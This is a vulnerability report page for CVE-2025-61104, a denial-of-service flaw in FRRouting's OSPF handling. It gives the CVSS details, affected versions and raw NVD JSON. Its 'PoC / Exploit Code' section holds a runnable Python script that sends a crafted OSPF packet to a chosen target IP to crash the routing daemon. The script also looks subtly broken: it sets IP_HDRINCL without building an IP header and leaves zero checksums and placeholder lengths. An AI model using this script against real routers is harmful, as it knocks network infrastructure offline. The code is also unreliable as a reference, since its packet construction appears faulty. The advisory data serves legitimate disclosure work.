Security Vulnerability Report
中文
CVE-2025-61104 CVSS 7.5 HIGH

CVE-2025-61104

Published: 2025-10-28 15:16:13
Last Modified: 2025-10-31 18:52:31

Description

FRRouting/frr from v4.0 through v10.4.1 was discovered to contain a NULL pointer dereference via the show_vty_unknown_tlv function at ospf_ext.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted OSPF packet.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:frrouting:frrouting:*:*:*:*:*:*:*:* - VULNERABLE
FRRouting/frr v4.0
FRRouting/frr v4.1
FRRouting/frr v4.2
FRRouting/frr v4.3
FRRouting/frr v4.4
FRRouting/frr v5.0
FRRouting/frr v6.0
FRRouting/frr v7.0
FRRouting/frr v7.5
FRRouting/frr v8.0
FRRouting/frr v9.0
FRRouting/frr v10.0
FRRouting/frr v10.1
FRRouting/frr v10.2
FRRouting/frr v10.3
FRRouting/frr v10.4
FRRouting/frr v10.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-61104 PoC - FRRouting OSPF NULL Pointer Dereference # This PoC triggers NULL pointer dereference in show_vty_unknown_tlv function # Usage: python3 cve_2025_61104_poc.py <target_ip> import socket import struct import sys def build_osfp_header(version, type_id, length, router_id, area_id): """Build OSPF packet header""" header = struct.pack('!BBH4s4s', version, # OSPF version (2 for OSPFv2) type_id, # Packet type (4 for LS Update) length, # Packet length router_id, # Source router ID area_id) # Area ID # Add authentication fields header += struct.pack('!Q', 0) # Auth type and auth data return header def build_lsa_header(ls_type, ls_id, adv_router, seq_num): """Build LSA header with malicious TLV""" age = 1 lsa_length = 60 # Minimal length with crafted TLV header = struct.pack('!HH4s4sIHH', age, lsa_length, ls_id, adv_router, seq_num, 0, # Checksum 0) # Length placeholder return header def build_malicious_tlv(): """Build crafted unknown TLV to trigger NULL dereference""" # Unknown TLV type that triggers show_vty_unknown_tlv tlv_type = 9999 tlv_length = 20 tlv_value = b'\x00' * tlv_length # NULL-inducing data tlv = struct.pack('!HH', tlv_type, tlv_length) + tlv_value return tlv def send_malicious_ospf_packet(target_ip): """Send crafted OSPF packet to trigger vulnerability""" sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, 89) # OSPF protocol sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # OSPF Multicast address for AllSPFRouters target_addr = (target_ip, 89) # Build packet components router_id = b'\xc0\xa8\x01\x01' # 192.168.1.1 area_id = b'\xc0\xa8\x01\x00' # 192.168.1.0 lsa_header = build_lsa_header(10, router_id, router_id, 0x80000001) malicious_tlv = build_malicious_tlv() lsa_body = lsa_header + malicious_tlv ospf_packet = build_osfp_header(2, 4, len(lsa_body) + 24, router_id, area_id) ospf_packet += lsa_body print(f"[*] Sending malicious OSPF packet to {target_ip}...") print(f"[*] Packet size: {len(ospf_packet)} bytes") print(f"[*] Malicious TLV type: 9999, length: 20") sock.sendto(ospf_packet, target_addr) print("[+] Packet sent successfully") print("[!] Target may crash if vulnerable version of FRRouting is running") sock.close() if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) send_malicious_ospf_packet(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61104", "sourceIdentifier": "[email protected]", "published": "2025-10-28T15:16:13.023", "lastModified": "2025-10-31T18:52:30.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FRRouting/frr from v4.0 through v10.4.1 was discovered to contain a NULL pointer dereference via the show_vty_unknown_tlv function at ospf_ext.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted OSPF packet."}, {"lang": "es", "value": "FRRouting/frr desde v4.0 hasta v10.4.1 se descubrió que contenía una desreferencia de puntero NULL a través de la función show_vty_unknown_tlv en ospf_ext.c. Esta vulnerabilidad permite a los atacantes causar una denegación de servicio (DoS) a través de un paquete OSPF manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frrouting:frrouting:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0", "versionEndIncluding": "10.4.1", "matchCriteriaId": "B41245C0-85A2-4A77-BF46-27F573E6F588"}]}]}], "references": [{"url": "https://github.com/FRRouting/frr/issues/19471", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/FRRouting/frr/pull/19480", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/FRRouting/frr/pull/19480/commits/fdd957408605d4a1766225630aafc7e6b7c3daf3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/s1awwhy/BugList/blob/main/CVE-2025-61104.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}